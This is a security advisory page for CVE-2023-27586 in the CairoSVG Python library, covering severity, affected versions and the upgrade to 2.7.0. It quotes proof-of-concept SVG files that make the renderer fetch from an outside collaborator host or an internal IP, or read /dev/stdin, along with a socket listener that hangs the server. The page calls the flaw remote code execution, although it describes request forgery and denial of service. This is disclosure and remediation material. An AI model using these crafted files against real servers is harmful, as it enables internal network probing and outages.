CVE-2023-27586: CairoSVG Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-rwmf-w63j-p7gv
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CVSS 9.9
CWE-20 CWE-918
Published
Advisory Summary

CVE-2023-27586 is a HIGH (CVSS 9.9) remote code execution vulnerability (CWE-20: Improper Input Validation) affecting CairoSVG libraries in the PyPI ecosystem. The issue involves cairosvg improperly processes svg files loaded from external resources. Remediation is available by upgrading affected packages to version 2.7.0.

CVE-2023-27586 at a Glance

CVE Identifier CVE-2023-27586
GHSA Identifier GHSA-rwmf-w63j-p7gv
Severity HIGH
CVSS v3.1 Base Score 9.9
CWE Classification CWE-20: Improper Input Validation
Affected Product CairoSVG
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2023-27586

To remediate this vulnerability, upgrade all affected CairoSVG dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

CairoSVG fixed: 2.7.0 
pip install CairoSVG>=2.7.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show CairoSVG

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2023-27586, inspect your installed packages using pip:

pip show CairoSVG

Analyze the terminal output to locate any version of CairoSVG in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.7.0), your application is affected.

Note: The pip show CairoSVG command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In CairoSVG, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# SSRF vulnerability ## Summary When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts. ## Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9 ## Tested CairoSVG version 2.6.0 ## Details A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources. It looks like this bug can affect websites and cause request forgery on the server. ## PoC 1. Generating malicious svg file: 1.1 CairoSVG_exploit.svg: ```svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" /> <style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style> <style type="text/css"> <![CDATA[ @import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9"); rect { fill: red; stroke: blue; stroke-width: 3 } ]]> </style> </svg> ``` 1.2 CairoSVG_exploit_2.svg: ```svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <defs> <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450"> <image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" /> </pattern> </defs> <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" /> </svg> ``` 1.3 CairoSVG_exploit_3.svg: ```svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" /> </svg> ``` 2. Run some commands: `$ python3 -m cairosvg CairoSVG_exploit.svg -f png` `$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png` `$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png ` 3. See result requests in Burp Collaborator: ![1](https://user-images.githubusercontent.com/952243/224340068-547b1d9a-5513-48a5-9cdf-b34b693f80c2.png) # DOS vulnerability with SSTI ## Summary When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server. ## Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9 ## Tested CairoSVG version 2.6.0 ## PoC 1. Generating malicious svg file: ```svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <use href="http://192.168.56.1:1234/" /> </svg> ``` 2. In other server run this python program: ```python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 1234)) s.listen(1) conn, addr = s.accept() with conn: while True: data = conn.recv(2048) s.close() ``` 3. Run commands: `$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png` (without timeout server will hang forever) # DOS vulnerability with stdin file descriptor ## Summary Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server. ## Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9 ## Tested CairoSVG version 2.6.0 ## PoC 1. Generating malicious svg file: ```svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <use href="file:///dev/stdin" /> </svg> ``` 2. In other server run this python program: ```python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 1234)) s.listen(1) conn, addr = s.accept() with conn: while True: data = conn.recv(2048) s.close() ``` 3. Run commands: `$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png`

CVE-2023-27586 Affected CairoSVG Versions

1 component(s)
Fixed Versions:
2.7.0
Product / Package Ecosystem Affected Versions Fixed Version
CairoSVG
pypi/CairoSVG
PyPI
< 2.7.0
2.7.0

References

NVD — CVE-2023-27586 NVD
https://nvd.nist.gov/vuln/detail/CVE-2023-27586
GitHub Advisory / Wiki ADVISORY
https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv
Security Fix Commit FIX COMMIT
https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255
Security Fix Commit FIX COMMIT
https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53
CairoSVG Source Repository REPOSITORY
https://github.com/Kozea/CairoSVG
CairoSVG Release RELEASE
https://github.com/Kozea/CairoSVG/releases/tag/2.7.0
CairoSVG Source Repository REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/cairosvg/PYSEC-2023-9.yaml

Frequently Asked Questions

What is CVE-2023-27586?
CVE-2023-27586 is a security vulnerability in CairoSVG involving CairoSVG improperly processes SVG files loaded from external resources under CWE-20: Improper Input Validation.
Which CairoSVG versions are affected?
Affected versions include releases prior to 2.7.0 across affected packages: CairoSVG.
What version fixes CVE-2023-27586?
Upgrading to 2.7.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is CairoSVG affected?
Yes, CairoSVG is affected in releases prior to 2.7.0. Upgrade your dependency to 2.7.0 or later.
What is the CVSS score of CVE-2023-27586?
CVE-2023-27586 has a CVSS v3.1 base score of 9.9 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L.
What CWE is associated with CVE-2023-27586?
CVE-2023-27586 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check PyPI dependencies for CVE-2023-27586?
Run the dependency tree command: 'pip show CairoSVG'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rwmf-w63j-p7gv",
  "modified" : "2024-11-18T16:26:29Z",
  "published" : "2023-03-20T21:27:15Z",
  "aliases" : [ "CVE-2023-27586" ],
  "summary" : "CairoSVG improperly processes SVG files loaded from external resources",
  "details" : "# SSRF vulnerability\n\n## Summary\nWhen CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## Details\nA specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources.\nIt looks like this bug can affect websites and cause request forgery on the server.\n\n## PoC\n1. Generating malicious svg file:\n1.1 CairoSVG_exploit.svg:\n```svg\n<?xml version=\"1.0\" standalone=\"yes\"?>\n    <!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n    <svg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\">\n    <image height=\"200\" width=\"200\" xlink:href=\"http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3\" />\n    <style type=\"text/css\">@import url(\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5\");</style>\n    <style type=\"text/css\">\n         <![CDATA[\n            @import url(\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9\");\n            rect { fill: red; stroke: blue; stroke-width: 3 }\n         ]]>\n    </style>\n</svg>\n```\n\n1.2 CairoSVG_exploit_2.svg:\n```svg\n<?xml version=\"1.0\" standalone=\"yes\"?>\n    <!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n    <svg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\">\n    <defs>\n        <pattern id=\"img1\" patternUnits=\"userSpaceOnUse\" width=\"600\" height=\"450\">\n            <image xlink:href=\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11\" x=\"0\" y=\"0\" width=\"600\" height=\"450\" />\n        </pattern>\n    </defs>\n    <path d=\"M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z\" fill=\"url(#img1)\" />\n</svg>\n```\n\n1.3 CairoSVG_exploit_3.svg:\n```svg\n<?xml version=\"1.0\" standalone=\"yes\"?>\n    <!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n    <svg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\">\n    <use href=\"http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13\" />\n</svg>\n```\n\n2. Run some commands:\n`$ python3 -m cairosvg CairoSVG_exploit.svg -f png`\n`$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png`\n`$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png `\n\n3. See result requests in Burp Collaborator:\n![1](https://user-images.githubusercontent.com/952243/224340068-547b1d9a-5513-48a5-9cdf-b34b693f80c2.png)\n\n\n\n# DOS vulnerability with SSTI\n\n## Summary\nWhen CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang.\nIt seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## PoC\n1. Generating malicious svg file:\n\n```svg\n<?xml version=\"1.0\" standalone=\"yes\"?>\n    <!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n    <svg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\">\n    <use href=\"http://192.168.56.1:1234/\" />\n</svg>\n```\n\n2. In other server run this python program:\n\n```python\nimport socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind(('0.0.0.0', 1234))\ns.listen(1)\nconn, addr = s.accept()\nwith conn:\n    while True:\n        data = conn.recv(2048)\ns.close()\n```\n\n3. Run commands:\n`$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png`\n(without timeout server will hang forever)\n\n\n# DOS vulnerability with stdin file descriptor\n\n## Summary\n\nSpecially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file.\nIt seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.\n\n## Operating system, version and so on\nLinux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9\n\n## Tested CairoSVG version\n2.6.0\n\n## PoC\n1. Generating malicious svg file:\n\n```svg\n<?xml version=\"1.0\" standalone=\"yes\"?>\n    <!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n    <svg width=\"128px\" height=\"128px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\">\n    <use href=\"file:///dev/stdin\" />\n</svg>\n```\n\n2. In other server run this python program:\n```python\nimport socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind(('0.0.0.0', 1234))\ns.listen(1)\nconn, addr = s.accept()\nwith conn:\n    while True:\n        data = conn.recv(2048)\ns.close()\n```\n\n3. Run commands:\n`$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "CairoSVG"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.7.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-27586"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Kozea/CairoSVG"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/CairoSVG/releases/tag/2.7.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/cairosvg/PYSEC-2023-9.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-03-20T21:27:15Z",
    "nvd_published_at" : "2023-03-20T16:15:00Z"
  }
}